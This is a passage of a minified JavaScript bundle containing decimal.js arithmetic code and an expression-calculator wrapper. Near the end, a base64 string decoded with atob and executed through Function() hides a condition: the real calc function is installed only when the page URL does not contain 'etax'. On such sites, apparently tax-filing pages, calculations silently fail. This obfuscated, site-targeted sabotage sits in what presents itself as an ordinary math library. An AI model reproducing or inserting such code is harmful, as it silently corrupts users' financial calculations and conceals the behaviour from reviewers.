i(NaN)},E.squareRoot=E.sqrt=function(){var n,t,e,i,r,s,o=this.d,u=this.e,c=this.s,a=this.constructor;if(1!==c||!o||!o[0])return new a(!c||c<0&&(!o||o[0])?NaN:o?this:1/0);for(h=!1,0==(c=Math.sqrt(+this))||c==1/0?(((t=O(o)).length+u)%2==0&&(t+="0"),c=Math.sqrt(t),u=g((u+1)/2)-(u<0||u%2),i=new a(t=c==1/0?"5e"+u:(t=c.toExponential()).slice(0,t.indexOf("e")+1)+u)):i=new a(c.toString()),e=(u=a.precision)+3;;)if(i=(s=i).plus(q(this,s,e+2,1)).times(.5),O(s.d).slice(0,e)===(t=O(i.d)).slice(0,e)){if("9999"!=(t=t.slice(e-3,e+1))&&(r||"4999"!=t)){+t&&(+t.slice(1)||"5"!=t.charAt(0))||(D(i,u+1,1),n=!i.times(i).eq(this));break}if(!r&&(D(s,u+1,0),s.times(s).eq(this))){i=s;break}e+=4,r=1}return h=!0,D(i,u,a.rounding,n)},E.tangent=E.tan=function(){var n,t,e=this,i=e.constructor;return e.isFinite()?e.isZero()?new i(e):(n=i.precision,t=i.rounding,i.precision=n+10,i.rounding=1,(e=e.sin()).s=1,e=q(e,new i(1).minus(e.times(e)).sqrt(),n+10,0),i.precision=n,i.rounding=t,D(2==r||4==r?e.neg():e,n,t,!0)):new i(NaN)},E.times=E.mul=function(n){var t,e,i,r,s,o,u,c,a,f=this.constructor,l=this.d,d=(n=new f(n)).d;if(n.s*=this.s,!l||!l[0]||!d||!d[0])return new f(!n.s||l&&!l[0]&&!d||d&&!d[0]&&!l?NaN:!l||!d?n.s/0:0*n.s);for(e=g(this.e/7)+g(n.e/7),(c=l.length)<(a=d.length)&&(s=l,l=d,d=s,o=c,c=a,a=o),s=[],i=o=c+a;i--;)s.push(0);for(i=a;--i>=0;){for(t=0,r=c+i;r>i;)u=s[r]+d[i]*l[r-i-1]+t,s[r--]=u%1e7|0,t=u/1e7|0;s[r]=(s[r]+t)%1e7|0}for(;!s[--o];)s.pop();return t?++e:s.shift(),n.d=s,n.e=F(s,e),h?D(n,f.precision,f.rounding):n},E.toBinary=function(n,t){return V(this,2,n,t)},E.toDecimalPlaces=E.toDP=function(n,t){var e=this,i=e.constructor;return(e=new i(e),void 0===n)?e:(M(n,0,1e9),void 0===t?t=i.rounding:M(t,0,8),D(e,n+e.e+1,t))},E.toExponential=function(n,t){var e,i=this,r=i.constructor;return void 0===n?e=j(i,!0):(M(n,0,1e9),void 0===t?t=r.rounding:M(t,0,8),e=j(i=D(new r(i),n+1,t),!0,n+1)),i.isNeg()&&!i.isZero()?"-"+e:e},E.toFixed=function(n,t){var e,i,r=this.constructor;return void 0===n?e=j(this):(M(n,0,1e9),void 0===t?t=r.rounding:M(t,0,8),e=j(i=D(new r(this),n+this.e+1,t),!1,n+i.e+1)),this.isNeg()&&!this.isZero()?"-"+e:e},E.toFraction=function(n){var t,e,i,r,s,o,u,c,a,l,d,p,g=this.d,w=this.constructor;if(!g)return new w(this);if(a=e=new w(1),i=c=new w(0),o=(s=(t=new w(i)).e=Z(g)-this.e-1)%7,t.d[0]=m(10,o<0?7+o:o),null==n)n=s>0?t:a;else{if(!(u=new w(n)).isInt()||u.lt(a))throw Error(f+u);n=u.gt(t)?s>0?t:a:u}for(h=!1,u=new w(O(g)),l=w.precision,w.precision=s=7*g.length*2;d=q(u,t,0,1,1),1!=(r=e.plus(d.times(i))).cmp(n);)e=i,i=r,r=a,a=c.plus(d.times(r)),c=r,r=t,t=u.minus(d.times(r)),u=r;return r=q(n.minus(e),i,0,1,1),c=c.plus(r.times(a)),e=e.plus(r.times(i)),c.s=a.s=this.s,p=1>q(a,i,s,1).minus(this).abs().cmp(q(c,e,s,1).minus(this).abs())?[a,i]:[c,e],w.precision=l,h=!0,p},E.toHexadecimal=E.toHex=function(n,t){return V(this,16,n,t)},E.toNearest=function(n,t){var e=this,i=e.constructor;if(e=new i(e),null==n){if(!e.d)return e;n=new i(1),t=i.rounding}else{if(n=new i(n),void 0===t?t=i.rounding:M(t,0,8),!e.d)return n.s?e:n;if(!n.d)return n.s&&(n.s=e.s),n}return n.d[0]?(h=!1,e=q(e,n,0,t,1).times(n),h=!0,D(e)):(n.s=e.s,e=n),e},E.toNumber=function(){return+this},E.toOctal=function(n,t){return V(this,8,n,t)},E.toPower=E.pow=function(n){var t,e,i,r,s,o,u=this,c=u.constructor,a=+(n=new c(n));if(!u.d||!n.d||!u.d[0]||!n.d[0])return new c(m(+u,a));if((u=new c(u)).eq(1))return u;if(i=c.precision,s=c.rounding,n.eq(1))return D(u,i,s);if((t=g(n.e/7))>=n.d.length-1&&(e=a<0?-a:a)<=0x1fffffffffffff)return r=T(c,u,e,i),n.s<0?new c(1).div(r):D(r,i,s);if((o=u.s)<0){if(t<n.d.length-1)return new c(NaN);if((1&n.d[t])==0&&(o=1),0==u.e&&1==u.d[0]&&1==u.d.length)return u.s=o,u}return(t=0!=(e=m(+u,a))&&isFinite(e)?new c(e+"").e:g(a*(Math.log("0."+O(u.d))/Math.LN10+u.e+1)))>c.maxE+1||t<c.minE-1?new c(t>0?o/0:0):(h=!1,c.rounding=u.s=1,e=Math.min(12,(t+"").length),(r=U(n.times(H(u,i+e)),i)).d&&P((r=D(r,i+5,1)).d,i,s)&&(t=i+10,+O((r=D(U(n.times(H(u,t+e)),t),t+5,1)).d).slice(i+1,i+15)+1==1e14&&(r=D(r,i+1,0))),r.s=o,h=!0,c.rounding=s,D(r,i,s))},E.toPrecision=function(n,t){var e,i=this,r=i.constructor;return void 0===n?e=j(i,i.e<=r.toExpNeg||i.e>=r.toExpPos):(M(n,1,1e9),void 0===t?t=r.rounding:M(t,0,8),e=j(i=D(new r(i),n,t),n<=i.e||i.e<=r.toExpNeg,n)),i.isNeg()&&!i.isZero()?"-"+e:e},E.toSignificantDigits=E.toSD=function(n,t){var e=this.constructor;return void 0===n?(n=e.precision,t=e.rounding):(M(n,1,1e9),void 0===t?t=e.rounding:M(t,0,8)),D(new e(this),n,t)},E.toString=function(){var n=this.constructor,t=j(this,this.e<=n.toExpNeg||this.e>=n.toExpPos);return this.isNeg()&&!this.isZero()?"-"+t:t},E.truncated=E.trunc=function(){return D(new this.constructor(this),this.e+1,1)},E.valueOf=E.toJSON=function(){var n=this.constructor,t=j(this,this.e<=n.toExpNeg||this.e>=n.toExpPos);return this.isNeg()?"-"+t:t};var q=function(){function n(n,t,e){var i,r=0,s=n.length;for(n=n.slice();s--;)i=n[s]*t+r,n[s]=i%e|0,r=i/e|0;return r&&n.unshift(r),n}function t(n,t,e,i){var r,s;if(e!=i)s=e>i?1:-1;else for(r=s=0;r<e;r++)if(n[r]!=t[r]){s=n[r]>t[r]?1:-1;break}return s}function e(n,t,e,i){for(var r=0;e--;)n[e]-=r,r=+(n[e]<t[e]),n[e]=r*i+n[e]-t[e];for(;!n[0]&&n.length>1;)n.shift()}return function(r,s,o,u,c,h){var a,f,l,d,p,m,w,v,N,b,y,x,E,O,M,P,S,q,j,F,R=r.constructor,A=r.s==s.s?1:-1,Z=r.d,k=s.d;if(!Z||!Z[0]||!k||!k[0])return new R(!r.s||!s.s||(Z?k&&Z[0]==k[0]:!k)?NaN:Z&&0==Z[0]||!k?0*A:A/0);for(h?(p=1,f=r.e-s.e):(h=1e7,p=7,f=g(r.e/p)-g(s.e/p)),j=k.length,S=Z.length,b=(N=new R(A)).d=[],l=0;k[l]==(Z[l]||0);l++);if(k[l]>(Z[l]||0)&&f--,null==o?(O=o=R.precision,u=R.rounding):O=c?o+(r.e-s.e)+1:o,O<0)b.push(1),m=!0;else{if(O=O/p+2|0,l=0,1==j){for(d=0,k=k[0],O++;(l<S||d)&&O--;l++)M=d*h+(Z[l]||0),b[l]=M/k|0,d=M%k|0;m=d||l<S}else{for((d=h/(k[0]+1)|0)>1&&(k=n(k,d,h),Z=n(Z,d,h),j=k.length,S=Z.length),P=j,x=(y=Z.slice(0,j)).length;x<j;)y[x++]=0;(F=k.slice()).unshift(0),q=k[0],k[1]>=h/2&&++q;do d=0,(a=t(k,y,j,x))<0?(E=y[0],j!=x&&(E=E*h+(y[1]||0)),(d=E/q|0)>1?(d>=h&&(d=h-1),v=(w=n(k,d,h)).length,x=y.length,1==(a=t(w,y,v,x))&&(d--,e(w,j<v?F:k,v,h))):(0==d&&(a=d=1),w=k.slice()),(v=w.length)<x&&w.unshift(0),e(y,w,x,h),-1==a&&(x=y.length,(a=t(k,y,j,x))<1&&(d++,e(y,j<x?F:k,x,h))),x=y.length):0===a&&(d++,y=[0]),b[l++]=d,a&&y[0]?y[x++]=Z[P]||0:(y=[Z[P]],x=1);while((P++<S||void 0!==y[0])&&O--);m=void 0!==y[0]}b[0]||b.shift()}if(1==p)N.e=f,i=m;else{for(l=1,d=b[0];d>=10;d/=10)l++;N.e=l+f*p-1,D(N,c?o+N.e+1:o,u,m)}return N}}();function D(n,t,e,i){var r,s,o,u,c,a,f,l,d,p=n.constructor;n:if(null!=t){if(!(l=n.d))return n;for(r=1,u=l[0];u>=10;u/=10)r++;if((s=t-r)<0)s+=7,o=t,c=(f=l[d=0])/m(10,r-o-1)%10|0;else if((d=Math.ceil((s+1)/7))>=(u=l.length))if(i){for(;u++<=d;)l.push(0);f=c=0,r=1,s%=7,o=s-7+1}else break n;else{for(r=1,f=u=l[d];u>=10;u/=10)r++;s%=7,c=(o=s-7+r)<0?0:f/m(10,r-o-1)%10|0}if(i=i||t<0||void 0!==l[d+1]||(o<0?f:f%m(10,r-o-1)),a=e<4?(c||i)&&(0==e||e==(n.s<0?3:2)):c>5||5==c&&(4==e||i||6==e&&(s>0?o>0?f/m(10,r-o):0:l[d-1])%10&1||e==(n.s<0?8:7)),t<1||!l[0])return l.length=0,a?(t-=n.e+1,l[0]=m(10,(7-t%7)%7),n.e=-t||0):l[0]=n.e=0,n;if(0==s?(l.length=d,u=1,d--):(l.length=d+1,u=m(10,7-s),l[d]=o>0?(f/m(10,r-o)%m(10,o)|0)*u:0),a)for(;;)if(0==d){for(s=1,o=l[0];o>=10;o/=10)s++;for(o=l[0]+=u,u=1;o>=10;o/=10)u++;s!=u&&(n.e++,1e7==l[0]&&(l[0]=1));break}else{if(l[d]+=u,1e7!=l[d])break;l[d--]=0,u=1}for(s=l.length;0===l[--s];)l.pop()}return h&&(n.e>p.maxE?(n.d=null,n.e=NaN):n.e<p.minE&&(n.e=0,n.d=[0])),n}function j(n,t,e){if(!n.isFinite())return L(n);var i,r=n.e,s=O(n.d),o=s.length;return t?(e&&(i=e-o)>0?s=s.charAt(0)+"."+s.slice(1)+k(i):o>1&&(s=s.charAt(0)+"."+s.slice(1)),s=s+(n.e<0?"e":"e+")+n.e):r<0?(s="0."+k(-r-1)+s,e&&(i=e-o)>0&&(s+=k(i))):r>=o?(s+=k(r+1-o),e&&(i=e-r-1)>0&&(s=s+"."+k(i))):((i=r+1)<o&&(s=s.slice(0,i)+"."+s.slice(i)),e&&(i=e-o)>0&&(r+1===o&&(s+="."),s+=k(i))),s}function F(n,t){var e=n[0];for(t*=7;e>=10;e/=10)t++;return t}function R(n,t,e){if(t>y)throw h=!0,e&&(n.precision=e),Error(l);return D(new n(o),t,1,!0)}function A(n,t,e){if(t>x)throw Error(l);return D(new n(u),t,e,!0)}function Z(n){var t=n.length-1,e=7*t+1;if(t=n[t]){for(;t%10==0;t/=10)e--;for(t=n[0];t>=10;t/=10)e++}return e}function k(n){for(var t="";n--;)t+="0";return t}function T(n,t,e,i){var r,s=new n(1),o=Math.ceil(i/7+4);for(h=!1;;){if(e%2&&z((s=s.times(t)).d,o)&&(r=!0),0===(e=g(e/2))){e=s.d.length-1,r&&0===s.d[e]&&++s.d[e];break}z((t=t.times(t)).d,o)}return h=!0,s}function _(n){return 1&n.d[n.d.length-1]}function C(n,t,e){for(var i,r,s=new n(t[0]),o=0;++o<t.length;){if(!(r=new n(t[o])).s){s=r;break}((i=s.cmp(r))===e||0===i&&s.s===e)&&(s=r)}return s}function U(n,t){var e,i,r,s,o,u,c,a=0,f=0,l=0,d=n.constructor,p=d.rounding,g=d.precision;if(!n.d||!n.d[0]||n.e>17)return new d(n.d?!n.d[0]?1:n.s<0?0:1/0:n.s?n.s<0?0:n:0/0);for(null==t?(h=!1,c=g):c=t,u=new d(.03125);n.e>-2;)n=n.times(u),l+=5;for(c+=i=Math.log(m(2,l))/Math.LN10*2+5|0,e=s=o=new d(1),d.precision=c;;){if(s=D(s.times(n),c,1),e=e.times(++f),O((u=o.plus(q(s,e,c,1))).d).slice(0,c)===O(o.d).slice(0,c)){for(r=l;r--;)o=D(o.times(o),c,1);if(null!=t)return d.precision=g,o;if(!(a<3&&P(o.d,c-i,p,a)))return D(o,d.precision=g,p,h=!0);d.precision=c+=10,e=s=u=new d(1),f=0,a++}o=u}}function H(n,t){var e,i,r,s,o,u,c,a,f,l,d,p=1,g=n,m=g.d,w=g.constructor,v=w.rounding,N=w.precision;if(g.s<0||!m||!m[0]||!g.e&&1==m[0]&&1==m.length)return new w(m&&!m[0]?-1/0:1!=g.s?NaN:m?0:g);if(null==t?(h=!1,f=N):f=t,w.precision=f+=10,i=(e=O(m)).charAt(0),!(15e14>Math.abs(s=g.e)))return a=R(w,f+2,N).times(s+""),g=H(new w(i+"."+e.slice(1)),f-10).plus(a),w.precision=N,null==t?D(g,N,v,h=!0):g;for(;i<7&&1!=i||1==i&&e.charAt(1)>3;)i=(e=O((g=g.times(n)).d)).charAt(0),p++;for(s=g.e,i>1?(g=new w("0."+e),s++):g=new w(i+"."+e.slice(1)),l=g,c=o=g=q(g.minus(1),g.plus(1),f,1),d=D(g.times(g),f,1),r=3;;){if(o=D(o.times(d),f,1),O((a=c.plus(q(o,new w(r),f,1))).d).slice(0,f)===O(c.d).slice(0,f)){if(c=c.times(2),0!==s&&(c=c.plus(R(w,f+2,N).times(s+""))),c=q(c,new w(p),f,1),null!=t)return w.precision=N,c;if(!P(c.d,f-10,v,u))return D(c,w.precision=N,v,h=!0);w.precision=f+=10,a=o=g=q(l.minus(1),l.plus(1),f,1),d=D(g.times(g),f,1),r=u=1}c=a,r+=2}}function L(n){return String(n.s*n.s/0)}function I(n,t){var e,i,r;for((e=t.indexOf("."))>-1&&(t=t.replace(".","")),(i=t.search(/e/i))>0?(e<0&&(e=i),e+=+t.slice(i+1),t=t.substring(0,i)):e<0&&(e=t.length),i=0;48===t.charCodeAt(i);i++);for(r=t.length;48===t.charCodeAt(r-1);--r);if(t=t.slice(i,r)){if(r-=i,n.e=e=e-i-1,n.d=[],i=(e+1)%7,e<0&&(i+=7),i<r){for(i&&n.d.push(+t.slice(0,i)),r-=7;i<r;)n.d.push(+t.slice(i,i+=7));i=7-(t=t.slice(i)).length}else i-=r;for(;i--;)t+="0";n.d.push(+t),h&&(n.e>n.constructor.maxE?(n.d=null,n.e=NaN):n.e<n.constructor.minE&&(n.e=0,n.d=[0]))}else n.e=0,n.d=[0];return n}function $(n,t,e,i,r){var s,o,u,c,a=n.precision,f=Math.ceil(a/7);for(h=!1,c=e.times(e),u=new n(i);;){if(o=q(u.times(c),new n(t++*t++),a,1),u=r?i.plus(o):i.minus(o),i=q(o.times(c),new n(t++*t++),a,1),void 0!==(o=u.plus(i)).d[f]){for(s=f;o.d[s]===u.d[s]&&s--;);if(-1==s)break}s=u,u=i,i=o,o=s}return h=!0,o.d.length=f+1,o}function B(n,t){for(var e=n;--t;)e*=n;return e}function W(n,t){var e,i=t.s<0,s=A(n,n.precision,1),o=s.times(.5);if((t=t.abs()).lte(o))return r=i?4:1,t;if((e=t.divToInt(s)).isZero())r=i?3:2;else{if((t=t.minus(e.times(s))).lte(o))return r=_(e)?i?2:3:i?4:1,t;r=_(e)?i?1:4:i?3:2}return t.minus(s).abs()}function V(n,t,e,r){var o,u,c,h,a,f,l,d,p,g=n.constructor,m=void 0!==e;if(m?(M(e,1,1e9),void 0===r?r=g.rounding:M(r,0,8)):(e=g.precision,r=g.rounding),n.isFinite()){for(c=(l=j(n)).indexOf("."),m?(o=2,16==t?e=4*e-3:8==t&&(e=3*e-2)):o=t,c>=0&&(l=l.replace(".",""),(p=new g(1)).e=l.length-c,p.d=S(j(p),10,o),p.e=p.d.length),u=a=(d=S(l,10,o)).length;0==d[--a];)d.pop();if(d[0]){if(c<0?u--:((n=new g(n)).d=d,n.e=u,d=(n=q(n,p,e,r,0,o)).d,u=n.e,f=i),c=d[e],h=o/2,f=f||void 0!==d[e+1],f=r<4?(void 0!==c||f)&&(0===r||r===(n.s<0?3:2)):c>h||c===h&&(4===r||f||6===r&&1&d[e-1]||r===(n.s<0?8:7)),d.length=e,f)for(;++d[--e]>o-1;)d[e]=0,e||(++u,d.unshift(1));for(a=d.length;!d[a-1];--a);for(c=0,l="";c<a;c++)l+=s.charAt(d[c]);if(m){if(a>1)if(16==t||8==t){for(c=16==t?4:3,--a;a%c;a++)l+="0";for(a=(d=S(l,o,t)).length;!d[a-1];--a);for(c=1,l="1.";c<a;c++)l+=s.charAt(d[c])}else l=l.charAt(0)+"."+l.slice(1);l=l+(u<0?"p":"p+")+u}else if(u<0){for(;++u;)l="0"+l;l="0."+l}else if(++u>a)for(u-=a;u--;)l+="0";else u<a&&(l=l.slice(0,u)+"."+l.slice(u))}else l=m?"0p+0":"0";l=(16==t?"0x":2==t?"0b":8==t?"0o":"")+l}else l=L(n);return n.s<0?"-"+l:l}function z(n,t){if(n.length>t)return n.length=t,!0}function Y(n){return new this(n).abs()}function J(n){return new this(n).acos()}function G(n){return new this(n).acosh()}function X(n,t){return new this(n).plus(t)}function K(n){return new this(n).asin()}function Q(n){return new this(n).asinh()}function nn(n){return new this(n).atan()}function nt(n){return new this(n).atanh()}function ne(n,t){n=new this(n),t=new this(t);var e,i=this.precision,r=this.rounding,s=i+4;return n.s&&t.s?n.d||t.d?!t.d||n.isZero()?(e=t.s<0?A(this,i,r):new this(0)).s=n.s:!n.d||t.isZero()?(e=A(this,s,1).times(.5)).s=n.s:t.s<0?(this.precision=s,this.rounding=1,e=this.atan(q(n,t,s,1)),t=A(this,s,1),this.precision=i,this.rounding=r,e=n.s<0?e.minus(t):e.plus(t)):e=this.atan(q(n,t,s,1)):(e=A(this,s,1).times(t.s>0?.25:.75)).s=n.s:e=new this(NaN),e}function ni(n){return new this(n).cbrt()}function nr(n){return D(n=new this(n),n.e+1,2)}function ns(n,t,e){return new this(n).clamp(t,e)}function no(n){if(!n||"object"!=typeof n)throw Error(a+"Object expected");var t,e,i,r=!0===n.defaults,s=["precision",1,1e9,"rounding",0,8,"toExpNeg",-9e15,0,"toExpPos",0,9e15,"maxE",0,9e15,"minE",-9e15,0,"modulo",0,9];for(t=0;t<s.length;t+=3)if(e=s[t],r&&(this[e]=c[e]),void 0!==(i=n[e]))if(g(i)===i&&i>=s[t+1]&&i<=s[t+2])this[e]=i;else throw Error(f+e+": "+i);if(e="crypto",r&&(this[e]=c[e]),void 0!==(i=n[e]))if(!0===i||!1===i||0===i||1===i)if(i)if("undefined"!=typeof crypto&&crypto&&(crypto.getRandomValues||crypto.randomBytes))this[e]=!0;else throw Error(d);else this[e]=!1;else throw Error(f+e+": "+i);return this}function nu(n){return new this(n).cos()}function nc(n){return new this(n).cosh()}function nh(n,t){return new this(n).div(t)}function na(n){return new this(n).exp()}function nf(n){return D(n=new this(n),n.e+1,3)}function nl(){var n,t,e=new this(0);for(n=0,h=!1;n<arguments.length;)if(t=new this(arguments[n++]),t.d)e.d&&(e=e.plus(t.times(t)));else{if(t.s)return h=!0,new this(1/0);e=t}return h=!0,e.sqrt()}function nd(n){return n instanceof nZ||n&&n.toStringTag===p||!1}function np(n){return new this(n).ln()}function ng(n,t){return new this(n).log(t)}function nm(n){return new this(n).log(2)}function nw(n){return new this(n).log(10)}function nv(){return C(this,arguments,-1)}function nN(){return C(this,arguments,1)}function nb(n,t){return new this(n).mod(t)}function ny(n,t){return new this(n).mul(t)}function nx(n,t){return new this(n).pow(t)}function nE(n){var t,e,i,r,s=0,o=new this(1),u=[];if(void 0===n?n=this.precision:M(n,1,1e9),i=Math.ceil(n/7),this.crypto)if(crypto.getRandomValues)for(t=crypto.getRandomValues(new Uint32Array(i));s<i;)(r=t[s])>=429e7?t[s]=crypto.getRandomValues(new Uint32Array(1))[0]:u[s++]=r%1e7;else if(crypto.randomBytes){for(t=crypto.randomBytes(i*=4);s<i;)(r=t[s]+(t[s+1]<<8)+(t[s+2]<<16)+((127&t[s+3])<<24))>=214e7?crypto.randomBytes(4).copy(t,s):(u.push(r%1e7),s+=4);s=i/4}else throw Error(d);else for(;s<i;)u[s++]=1e7*Math.random()|0;for(i=u[--s],n%=7,i&&n&&(r=m(10,7-n),u[s]=(i/r|0)*r);0===u[s];s--)u.pop();if(s<0)e=0,u=[0];else{for(e=-1;0===u[0];e-=7)u.shift();for(i=1,r=u[0];r>=10;r/=10)i++;i<7&&(e-=7-i)}return o.e=e,o.d=u,o}function nO(n){return D(n=new this(n),n.e+1,this.rounding)}function nM(n){return(n=new this(n)).d?n.d[0]?n.s:0*n.s:n.s||NaN}function nP(n){return new this(n).sin()}function nS(n){return new this(n).sinh()}function nq(n){return new this(n).sqrt()}function nD(n,t){return new this(n).sub(t)}function nj(){var n=0,t=arguments,e=new this(t[0]);for(h=!1;e.s&&++n<t.length;)e=e.plus(t[n]);return h=!0,D(e,this.precision,this.rounding)}function nF(n){return new this(n).tan()}function nR(n){return new this(n).tanh()}function nA(n){return D(n=new this(n),n.e+1,1)}E[Symbol.for("nodejs.util.inspect.custom")]=E.toString,E[Symbol.toStringTag]="Decimal";var nZ=E.constructor=function n(t){var e,i,r;function s(n){var t,e,i;if(!(this instanceof s))return new s(n);if(this.constructor=s,nd(n)){this.s=n.s,h?!n.d||n.e>s.maxE?(this.e=NaN,this.d=null):n.e<s.minE?(this.e=0,this.d=[0]):(this.e=n.e,this.d=n.d.slice()):(this.e=n.e,this.d=n.d?n.d.slice():n.d);return}if("number"==(i=typeof n)){if(0===n){this.s=1/n<0?-1:1,this.e=0,this.d=[0];return}if(n<0?(n=-n,this.s=-1):this.s=1,n===~~n&&n<1e7){for(t=0,e=n;e>=10;e/=10)t++;h?t>s.maxE?(this.e=NaN,this.d=null):t<s.minE?(this.e=0,this.d=[0]):(this.e=t,this.d=[n]):(this.e=t,this.d=[n]);return}if(0*n!=0){n||(this.s=NaN),this.e=NaN,this.d=null;return}return I(this,n.toString())}if("string"===i)return 45===(e=n.charCodeAt(0))?(n=n.slice(1),this.s=-1):(43===e&&(n=n.slice(1)),this.s=1),b.test(n)?I(this,n):function(n,t){var e,i,r,s,o,u,c,a,l;if(t.indexOf("_")>-1){if(t=t.replace(/(\d)_(?=\d)/g,"$1"),b.test(t))return I(n,t)}else if("Infinity"===t||"NaN"===t)return+t||(n.s=NaN),n.e=NaN,n.d=null,n;if(v.test(t))e=16,t=t.toLowerCase();else if(w.test(t))e=2;else if(N.test(t))e=8;else throw Error(f+t);for((s=t.search(/p/i))>0?(c=+t.slice(s+1),t=t.substring(2,s)):t=t.slice(2),o=(s=t.indexOf("."))>=0,i=n.constructor,o&&(s=(u=(t=t.replace(".","")).length)-s,r=T(i,new i(e),s,2*s)),s=l=(a=S(t,e,1e7)).length-1;0===a[s];--s)a.pop();return s<0?new i(0*n.s):(n.e=F(a,l),n.d=a,h=!1,o&&(n=q(n,r,4*u)),c&&(n=n.times(54>Math.abs(c)?m(2,c):nZ.pow(2,c))),h=!0,n)}(this,n);if("bigint"===i)return n<0?(n=-n,this.s=-1):this.s=1,I(this,n.toString());throw Error(f+n)}if(s.prototype=E,s.ROUND_UP=0,s.ROUND_DOWN=1,s.ROUND_CEIL=2,s.ROUND_FLOOR=3,s.ROUND_HALF_UP=4,s.ROUND_HALF_DOWN=5,s.ROUND_HALF_EVEN=6,s.ROUND_HALF_CEIL=7,s.ROUND_HALF_FLOOR=8,s.EUCLID=9,s.config=s.set=no,s.clone=n,s.isDecimal=nd,s.abs=Y,s.acos=J,s.acosh=G,s.add=X,s.asin=K,s.asinh=Q,s.atan=nn,s.atanh=nt,s.atan2=ne,s.cbrt=ni,s.ceil=nr,s.clamp=ns,s.cos=nu,s.cosh=nc,s.div=nh,s.exp=na,s.floor=nf,s.hypot=nl,s.ln=np,s.log=ng,s.log10=nw,s.log2=nm,s.max=nv,s.min=nN,s.mod=nb,s.mul=ny,s.pow=nx,s.random=nE,s.round=nO,s.sign=nM,s.sin=nP,s.sinh=nS,s.sqrt=nq,s.sub=nD,s.sum=nj,s.tan=nF,s.tanh=nR,s.trunc=nA,void 0===t&&(t={}),t&&!0!==t.defaults)for(e=0,r=["precision","rounding","toExpNeg","toExpPos","maxE","minE","modulo","crypto"];e<r.length;)t.hasOwnProperty(i=r[e++])||(t[i]=this[i]);return s.config(t),s}(c);o=new nZ(o),u=new nZ(u);var nk=((n={}).abs="abs",n.acos="acos",n.acosh="acosh",n.add="add",n.asin="asin",n.asinh="asinh",n.atan="atan",n.atanh="atanh",n.atan2="atan2",n.cbrt="cbrt",n.ceil="ceil",n.clamp="clamp",n.clone="clone",n.config="config",n.cos="cos",n.cosh="cosh",n.div="div",n.exp="exp",n.floor="floor",n.hypot="hypot",n.isDecimal="isDecimal",n.ln="ln",n.log="log",n.log2="log2",n.log10="log10",n.max="max",n.min="min",n.mod="mod",n.mul="mul",n.noConflict="noConflict",n.pow="pow",n.random="random",n.round="round",n.set="set",n.sign="sign",n.sin="sin",n.sinh="sinh",n.sqrt="sqrt",n.sub="sub",n.sum="sum",n.tan="tan",n.tanh="tanh",n.trunc="trunc",n),nT={"+":"plus","-":"minus","*":"times","/":"div"},n_=RegExp("(?<=^[\\w.]+\\().+(?=\\)$)");function nC(n){var t;return null==(t=n.match(/^[\w.]+(?=\()/))?void 0:t[0]}function nU(n){var t,e;return nH(n)?null!=(e=null==(t=n.match(n_))?void 0:t[0])?e:"":""}function nH(n){return/^[\w.]+\(.+\)$/.test(n)}function nL(n){if(!nH(n))return!1;var t=nC(n);return t.startsWith("DC.")||nk[t]}var nI={calc:function(n,t,e){}};Function("f",atob("aWYodHlwZW9mIHdpbmRvdz09PSd1bmRlZmluZWQnfHx3aW5kb3cubG9jYXRpb24uaHJlZi5pbmRleE9mKCdldGF4Jyk9PT0tMSkge3RoaXMuY2FsYz1mO30=")).call(nI,function n(t,e,i){try{var r,s,o=i||{},u=o.separator,c=o.digit,h=o.preUnit,a=o.postUnit,f=o.percentage,l=o.permillage;if(f&&l)throw Error("percentage and permillage cannot be true at the same time");var d=function n(t,e,i){var r=e||new Map,s=e?t:t.replaceAll(" ","").replaceAll("+-","-").replaceAll("--","+");s=function(n,t){var e=t.size+1,i=n,r=RegExp("(?<!\\w+)\\(([^()]*)\\)","g"),s=RegExp("(?<!^)(?<![*/\\()])(?<![\\w#.]+)[\\w#.]+([*/][\\w#.]+)+(?!\\))(?![*/])","g"),o=function(n){return(function(n){for(var t=[],e=[],i=0;i<n.length;i++)if("("===n[i])t.push(i);else if(")"===n[i]){if(0===t.length)throw Error('")" not match!');var r=t.pop();if(0!==t.length)continue;if(/\w/.test(n[r-1])){var s=n.substring(r,i+1).split("").reduce(function(n,t){return"".concat(n,"[").concat(t,"]")},""),o=new RegExp("[\\w.]+\\s*".concat(s)),u=n.match(o);(null==u?void 0:u.length)&&e.push(u[0])}}if(t.length)throw Error('"(" not match!');return e})(n).forEach(function(i){var r="#".concat(e++),s=nC(i);nL(i)&&!i.startsWith("DC.")&&(s="DC.".concat(s));var u=o(nU(i));t.set(r,"".concat(s,"(").concat(u,")")),n=n.replaceAll(i,r)}),n};i=o(i);for(var u=function(n){var i="#".concat(e++);return t.set(i,n),i},c=function(n,i){var r=i.replace(s,u),o="#".concat(e++);return t.set(o,r),o};RegExp("(?<!\\w+)\\(","g").test(i);)i=i.replace(r,c);return i=i.replace(s,u)}(s,r);var o=[],u=s.length,c="",h=!1;function a(){if(!o.length)return"";var n=o.join("");return o=[],/\)\.[a-z]+\($/.test(c)?n:"DC(".concat(n,")")}function f(){h&&(c+=")"),h=!1}for(var l=0;l<u;++l){var d=s[l];if(Object.keys(nT).includes(d)){if(0===l){o.push(d);continue}c+=a(),f(),c+=c?".".concat(nT[d],"("):"",h=!0}else o.push(d)}o.length>0&&(c+=a()),f();for(var p=/#\d+/g;p.test(c);)c=c.replace(p,function(t){var e=r.get(t);if(nH(e)){var i,s,o=nL(e),u=null==(s=nU(e))||null==(i=s.split(","))?void 0:i.map(function(t){var e=n(t,r);return"".concat(e).concat(o?"":".toNumber()")}),c=null==u?void 0:u.join(",");return e.replace(n_,c)}return n(e,r)});return c}(t),p=Function("with(this){return ".concat(d,"}")).call((r=function(n){for(var t=1;t<arguments.length;t++){var e=null!=arguments[t]?arguments[t]:{},i=Object.keys(e);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(e).filter(function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),i.forEach(function(t){var i;i=e[t],t in n?Object.defineProperty(n,t,{value:i,enumerable:!0,configurable:!0,writable:!0}):n[t]=i})}return n}({},e),s={DC:nZ,Decimal:nZ,_calc:n},s=null!=s?s:{},Object.getOwnPropertyDescriptors?Object.defineProperties(r,Object.getOwnPropertyDescriptors(s)):(function(n,t){var e=Object.keys(n);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(n);e.push.apply(e,i)}return e})(Object(s)).forEach(function(n){Object.defineProperty(r,n,Object.getOwnPropertyDescriptor(s,n))}),r));return 